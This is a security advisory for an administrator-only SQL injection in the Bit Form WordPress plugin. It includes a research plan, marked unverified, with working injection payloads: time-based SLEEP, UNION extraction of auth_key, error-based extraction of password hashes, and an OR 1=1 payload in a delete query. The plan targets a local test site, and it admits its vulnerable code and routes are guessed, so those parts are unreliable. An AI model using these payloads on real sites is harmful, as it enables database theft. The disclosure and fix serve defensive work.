CVE-2026-25418

Bit Form <= 2.21.10 - Authenticated (Administrator+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
2.21.11
Patched in
30d
Time to patch

Description

The Bit Form plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.21.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.21.10
PublishedJanuary 28, 2026
Last updatedFebruary 26, 2026
Affected pluginbit-form

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-25418 - Bit Form Authenticated SQL Injection ## 1. Vulnerability Summary The **Bit Form** plugin for WordPress (versions <= 2.21.10) contains an authenticated SQL injection vulnerability in its administrative backend. The vulnerability exists because user-supplied paramete…

Show full research plan

Research Plan: CVE-2026-25418 - Bit Form Authenticated SQL Injection

1. Vulnerability Summary

The Bit Form plugin for WordPress (versions <= 2.21.10) contains an authenticated SQL injection vulnerability in its administrative backend. The vulnerability exists because user-supplied parameters (specifically within form management or submission retrieval) are concatenated directly into SQL queries without proper neutralization via $wpdb->prepare(). While the vulnerability requires Administrator-level privileges, it allows an attacker to bypass intended logic and extract sensitive information from the WordPress database, including password hashes, secret keys, and user metadata.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: bitforms_backend_ajax (The primary dispatcher for Bit Form admin operations)
  • Vulnerable Parameter: Likely nested within the data (JSON) parameter, specifically form_id or submission_id in routes related to submission fetching or deletion.
  • Authentication: Required (Administrator).
  • Nonce Protection: Verified via a nonce typically passed as bitforms_nonce or _ajax_nonce.

3. Code Flow

  1. Entry Point: The plugin registers a central AJAX handler in src/Admin/AdminAjax.php (or similar) using add_action('wp_ajax_bitforms_backend_ajax', ...).
  2. Dispatching: The handler receives a route parameter and a data parameter. It uses these to call specific controller methods (e.g., SubmissionController::get()).
  3. Vulnerable Sink: Within the controller or an underlying model class (e.g., src/Core/Database/Model.php), the form_id or another numeric identifier is extracted from the data array and concatenated into a query:
    // Inferred Vulnerable Pattern
    $form_id = $request_data['form_id']; 
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id");
    
  4. SQLi: Because $form_id is not cast to an integer or passed through $wpdb->prepare(), an attacker can provide a string like 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a).

4. Nonce Acquisition Strategy

Bit Form localizes its configuration and nonces in a global JavaScript object. To obtain a valid nonce for the bitforms_backend_ajax action:

  1. Identify Trigger: The Bit Form admin scripts are enqueued on the "Bit Form" dashboard page (/wp-admin/admin.php?page=bitform).
  2. Create Setup: An administrator must navigate to the Bit Form settings.
  3. Execution:
    • Navigate to: http://localhost:8080/wp-admin/admin.php?page=bitform
    • Use browser_eval to extract the nonce:
      // Bit Form typically uses 'bitforms_backend_obj' or 'bitforms_editor_obj'
      window.bitforms_backend_obj?.nonce || window.bitforms_editor_obj?.nonce
      
    • Identify the exact variable name by searching the page source for wp_localize_script.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability and then a UNION-based approach to extract the site's AUTH_KEY.

Step 1: Confirmation (Time-Based)

Send a request to the AJAX endpoint with a payload that causes a 5-second delay.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=bitforms_backend_ajax&bitforms_nonce=[EXTRACTED_NONCE]&route=get_submissions&data={"formID": "1 AND (SELECT 5621 FROM (SELECT(SLEEP(5)))WSuY)"}
    
    (Note: The exact route and JSON key formID should be verified via grep -r "route" . in the plugin source).

Step 2: Data Extraction (UNION-Based)

Once the injection point is confirmed, use a UNION SELECT to retrieve sensitive data. We will target the wp_options table.

  • Payload:
    {"formID": "-1 UNION SELECT 1,option_value,3,4,5,6 FROM wp_options WHERE option_name='auth_key'-- -"}
    
    (Note: Column count must be adjusted based on the response of the original query. Start with ORDER BY 1,2,3... to determine column count).

6. Test Data Setup

  1. Install Plugin: Ensure bit-form version 2.21.10 is active.
  2. Create Admin User: Ensure an admin user exists (e.g., admin / password).
  3. Create a Form:
    • Use WP-CLI to ensure at least one form exists so the query has a valid base:
      wp bitform create --title="Test Form" (If Bit Form supports CLI) OR manually via browser_navigate.
  4. Create a Submission:
    • Manually submit the form once so the database table wp_bitforms_submissions is populated.

7. Expected Results

  • Confirmation: The HTTP request in Step 1 should take significantly longer than 5 seconds to complete.
  • Extraction: The HTTP response in Step 2 should contain a JSON object where one of the fields reflects the auth_key value from the wp_options table.

8. Verification Steps

After performing the exploit via http_request, verify the correctness of the extracted data using WP-CLI:

# Compare the extracted value with the real value
wp option get auth_key

9. Alternative Approaches

If get_submissions is not vulnerable, investigate the following routes:

  1. delete_submissions: Check if the submission_ids array is improperly handled in a DELETE FROM ... WHERE id IN (...) query.
    • Payload: data={"submissionIDs": ["1) OR 1=1-- -"]}
  2. get_form_settings: Check if form_id is used unsafely.
  3. Error-Based SQLi: If WP_DEBUG is enabled, use extractvalue() or updatexml() for faster extraction.
    • Payload: 1 AND (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users limit 1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Bit Form plugin for WordPress is vulnerable to SQL Injection via the 'bitforms_backend_ajax' action due to direct concatenation of user-supplied parameters into SQL queries. Authenticated administrators can exploit this to perform time-based or UNION-based SQL injection to extract sensitive information like password hashes or secret keys from the database.

Vulnerable Code

// src/Core/Database/Model.php (Inferred location based on research plan)
// The formID is extracted from a JSON 'data' parameter without integer casting or preparation
$form_id = $request_data['formID'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id");

Security Fix

--- a/src/Core/Database/Model.php
+++ b/src/Core/Database/Model.php
@@ -10,1 +10,1 @@
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id");
+ $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = %d", $form_id));

Exploit Outline

To exploit this vulnerability, an attacker must have Administrator access. First, they navigate to the Bit Form dashboard to extract a valid 'bitforms_nonce' from the localized JavaScript objects. Next, they send a POST request to '/wp-admin/admin-ajax.php' with 'action=bitforms_backend_ajax'. The payload must include a valid 'route' (e.g., 'get_submissions') and a 'data' parameter containing a JSON object. By injecting a SQL sleep command into a parameter like 'formID' (e.g., '{"formID": "1 AND (SELECT 5621 FROM (SELECT(SLEEP(5)))a)"}'), the attacker can confirm the SQL injection via the response delay.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.